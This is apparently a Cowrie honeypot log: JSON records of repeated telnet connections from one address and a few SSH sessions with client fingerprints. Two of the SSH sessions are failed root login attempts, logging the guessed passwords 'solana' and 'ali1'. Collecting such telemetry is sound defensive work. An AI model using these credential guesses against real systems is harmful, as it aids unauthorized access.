{"eventid":"cowrie.session.closed","duration":30.50761604309082,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:30.012562Z","src_ip":"207.244.226.215","session":"846bed870dd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":45858,"dst_ip":"159.203.135.109","dst_port":23,"session":"73dd832e1d6f","protocol":"telnet","message":"New connection: 207.244.226.215:45858 (159.203.135.109:23) [session: 73dd832e1d6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:30.232790Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":46782,"dst_ip":"159.203.135.109","dst_port":23,"session":"c08965d88bf4","protocol":"telnet","message":"New connection: 207.244.226.215:46782 (159.203.135.109:23) [session: c08965d88bf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:30.846911Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":46824,"dst_ip":"159.203.135.109","dst_port":23,"session":"c24ac1ec5ff3","protocol":"telnet","message":"New connection: 207.244.226.215:46824 (159.203.135.109:23) [session: c24ac1ec5ff3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:30.880483Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":47582,"dst_ip":"159.203.135.109","dst_port":23,"session":"cdbe0e5b9cc2","protocol":"telnet","message":"New connection: 207.244.226.215:47582 (159.203.135.109:23) [session: cdbe0e5b9cc2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:31.384574Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":47956,"dst_ip":"159.203.135.109","dst_port":23,"session":"e338a1435e42","protocol":"telnet","message":"New connection: 207.244.226.215:47956 (159.203.135.109:23) [session: e338a1435e42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:31.601331Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":48102,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c9bed9a0fad","protocol":"telnet","message":"New connection: 207.244.226.215:48102 (159.203.135.109:23) [session: 6c9bed9a0fad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:31.678331Z"}
{"eventid":"cowrie.session.closed","duration":33.98142433166504,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:33.172041Z","src_ip":"207.244.226.215","session":"4b2438bfc76b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":51672,"dst_ip":"159.203.135.109","dst_port":23,"session":"52015dff6e78","protocol":"telnet","message":"New connection: 207.244.226.215:51672 (159.203.135.109:23) [session: 52015dff6e78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:33.815197Z"}
{"eventid":"cowrie.session.closed","duration":30.185875177383423,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:34.071143Z","src_ip":"207.244.226.215","session":"31ba6a12890c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":52080,"dst_ip":"159.203.135.109","dst_port":23,"session":"247db8a536e5","protocol":"telnet","message":"New connection: 207.244.226.215:52080 (159.203.135.109:23) [session: 247db8a536e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:34.116176Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":51488,"dst_ip":"159.203.135.109","dst_port":23,"session":"ca28cecff81f","protocol":"telnet","message":"New connection: 207.244.226.215:51488 (159.203.135.109:23) [session: ca28cecff81f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:34.703074Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":53748,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfcc5800226b","protocol":"telnet","message":"New connection: 207.244.226.215:53748 (159.203.135.109:23) [session: bfcc5800226b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:35.122885Z"}
{"eventid":"cowrie.session.closed","duration":30.291324853897095,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:35.238361Z","src_ip":"207.244.226.215","session":"056ab8ef7502","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.998005151748657,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:36.114728Z","src_ip":"207.244.226.215","session":"2176463e6ed2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":57408,"dst_ip":"159.203.135.109","dst_port":23,"session":"8da690ea3291","protocol":"telnet","message":"New connection: 207.244.226.215:57408 (159.203.135.109:23) [session: 8da690ea3291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:37.137982Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":57406,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf57bed36ff8","protocol":"telnet","message":"New connection: 207.244.226.215:57406 (159.203.135.109:23) [session: bf57bed36ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:40.142033Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":35766,"dst_ip":"159.203.135.109","dst_port":23,"session":"cfeec994edcb","protocol":"telnet","message":"New connection: 207.244.226.215:35766 (159.203.135.109:23) [session: cfeec994edcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:41.158413Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":35954,"dst_ip":"159.203.135.109","dst_port":23,"session":"d1e50f3a3c3c","protocol":"telnet","message":"New connection: 207.244.226.215:35954 (159.203.135.109:23) [session: d1e50f3a3c3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:41.282538Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":40454,"dst_ip":"159.203.135.109","dst_port":23,"session":"05a557807cf6","protocol":"telnet","message":"New connection: 207.244.226.215:40454 (159.203.135.109:23) [session: 05a557807cf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:43.914384Z"}
{"eventid":"cowrie.session.closed","duration":30.733357667922974,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:45.064510Z","src_ip":"207.244.226.215","session":"c7c513af1039","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.949267387390137,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:45.100335Z","src_ip":"207.244.226.215","session":"1718fe5f90fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":44042,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d76c9ea3b89","protocol":"telnet","message":"New connection: 207.244.226.215:44042 (159.203.135.109:23) [session: 7d76c9ea3b89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:46.031373Z"}
{"eventid":"cowrie.session.closed","duration":30.951664447784424,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:46.036458Z","src_ip":"207.244.226.215","session":"dca4ae7d5826","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":43716,"dst_ip":"10.17.0.5","dst_port":22,"session":"0e13a0766bd3","protocol":"ssh","message":"New connection: 193.32.162.145:43716 (10.17.0.5:22) [session: 0e13a0766bd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:46.494768Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:46.498607Z","src_ip":"193.32.162.145","session":"0e13a0766bd3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:46.598012Z","src_ip":"193.32.162.145","session":"0e13a0766bd3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"solana","message":"login attempt [root/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:46.979161Z","src_ip":"193.32.162.145","session":"0e13a0766bd3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":42896,"dst_ip":"159.203.135.109","dst_port":23,"session":"06bbc8ef28f3","protocol":"telnet","message":"New connection: 207.244.226.215:42896 (159.203.135.109:23) [session: 06bbc8ef28f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:47.321589Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:48.084403Z","src_ip":"193.32.162.145","session":"0e13a0766bd3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.32275700569153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:48.136012Z","src_ip":"207.244.226.215","session":"4faa40ab3c1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.80908513069153,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:52.049508Z","src_ip":"207.244.226.215","session":"d9e37b28665e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.965487241744995,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:52.074747Z","src_ip":"207.244.226.215","session":"28393edaaa52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.82066059112549,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:52.174984Z","src_ip":"207.244.226.215","session":"f05aa9bc4bf2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.095001935958862,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:52.208857Z","src_ip":"207.244.226.215","session":"1ee95c7539aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.138001441955566,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:52.343858Z","src_ip":"207.244.226.215","session":"cf1881b3bf3b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":55416,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ef21c90de3b","protocol":"telnet","message":"New connection: 207.244.226.215:55416 (159.203.135.109:23) [session: 2ef21c90de3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:52.622628Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":55658,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c272752e7ac","protocol":"telnet","message":"New connection: 207.244.226.215:55658 (159.203.135.109:23) [session: 7c272752e7ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:52.734672Z"}
{"eventid":"cowrie.session.closed","duration":30.51034951210022,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:53.156045Z","src_ip":"207.244.226.215","session":"6fbc606fd6bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":56626,"dst_ip":"159.203.135.109","dst_port":23,"session":"5332a3eb0414","protocol":"telnet","message":"New connection: 207.244.226.215:56626 (159.203.135.109:23) [session: 5332a3eb0414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:53.327957Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":57134,"dst_ip":"159.203.135.109","dst_port":23,"session":"20cbbb4162b6","protocol":"telnet","message":"New connection: 207.244.226.215:57134 (159.203.135.109:23) [session: 20cbbb4162b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:53.638475Z"}
{"eventid":"cowrie.session.closed","duration":30.12940502166748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:55.052823Z","src_ip":"207.244.226.215","session":"7d37fd319a24","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":32856,"dst_ip":"159.203.135.109","dst_port":23,"session":"c262a426d9fe","protocol":"telnet","message":"New connection: 207.244.226.215:32856 (159.203.135.109:23) [session: c262a426d9fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:55.942353Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":32948,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff95c9722da5","protocol":"telnet","message":"New connection: 207.244.226.215:32948 (159.203.135.109:23) [session: ff95c9722da5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:56.014230Z"}
{"eventid":"cowrie.session.closed","duration":30.639443397521973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:56.027277Z","src_ip":"207.244.226.215","session":"22268ca7cd79","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02854633331299,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:56.096853Z","src_ip":"207.244.226.215","session":"241dfe1314cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":47020,"dst_ip":"10.17.0.5","dst_port":22,"session":"f4ee452c4920","protocol":"ssh","message":"New connection: 92.205.57.72:47020 (10.17.0.5:22) [session: f4ee452c4920]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:56.184486Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:56.189379Z","src_ip":"92.205.57.72","session":"f4ee452c4920","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:56.278857Z","src_ip":"92.205.57.72","session":"f4ee452c4920","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ali1","message":"login attempt [root/ali1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:56.667105Z","src_ip":"92.205.57.72","session":"f4ee452c4920","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.299288988113403,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:57.025122Z","src_ip":"207.244.226.215","session":"3d28304f15c2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.745439529418945,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:57.030328Z","src_ip":"207.244.226.215","session":"9c5691baeaf4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:57.758290Z","src_ip":"92.205.57.72","session":"f4ee452c4920","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.458109617233276,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:58.827862Z","src_ip":"207.244.226.215","session":"ae0a0834d291","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":37498,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad99c10755ed","protocol":"telnet","message":"New connection: 207.244.226.215:37498 (159.203.135.109:23) [session: ad99c10755ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:33:58.847706Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":39184,"dst_ip":"159.203.135.109","dst_port":23,"session":"0caed950b737","protocol":"telnet","message":"New connection: 207.244.226.215:39184 (159.203.135.109:23) [session: 0caed950b737]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:00.038952Z"}
{"eventid":"cowrie.session.closed","duration":30.960060834884644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:00.078413Z","src_ip":"207.244.226.215","session":"3b5586879d3d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":39524,"dst_ip":"159.203.135.109","dst_port":23,"session":"fdf04b9eb3ca","protocol":"telnet","message":"New connection: 207.244.226.215:39524 (159.203.135.109:23) [session: fdf04b9eb3ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:00.264455Z"}
{"eventid":"cowrie.session.closed","duration":30.800137996673584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:01.032799Z","src_ip":"207.244.226.215","session":"73dd832e1d6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.207781314849854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:01.088135Z","src_ip":"207.244.226.215","session":"c24ac1ec5ff3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.33846116065979,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:01.185269Z","src_ip":"207.244.226.215","session":"c08965d88bf4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":41552,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2bffa518f5d","protocol":"telnet","message":"New connection: 207.244.226.215:41552 (159.203.135.109:23) [session: b2bffa518f5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:01.406757Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":41762,"dst_ip":"159.203.135.109","dst_port":23,"session":"cef8b273d899","protocol":"telnet","message":"New connection: 207.244.226.215:41762 (159.203.135.109:23) [session: cef8b273d899]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:01.540077Z"}
{"eventid":"cowrie.session.closed","duration":30.426868677139282,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:02.028079Z","src_ip":"207.244.226.215","session":"e338a1435e42","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.66168761253357,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:02.046111Z","src_ip":"207.244.226.215","session":"cdbe0e5b9cc2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.45361566543579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:02.131805Z","src_ip":"207.244.226.215","session":"6c9bed9a0fad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.248692274093628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:04.063773Z","src_ip":"207.244.226.215","session":"52015dff6e78","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.919508457183838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:05.035597Z","src_ip":"207.244.226.215","session":"247db8a536e5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.689883947372437,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:05.392839Z","src_ip":"207.244.226.215","session":"ca28cecff81f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.00132441520691,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:06.124085Z","src_ip":"207.244.226.215","session":"bfcc5800226b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.265170097351074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:08.403070Z","src_ip":"207.244.226.215","session":"8da690ea3291","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.87964129447937,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:11.021525Z","src_ip":"207.244.226.215","session":"bf57bed36ff8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.853312015533447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:12.011625Z","src_ip":"207.244.226.215","session":"cfeec994edcb","protocol":"telnet"}
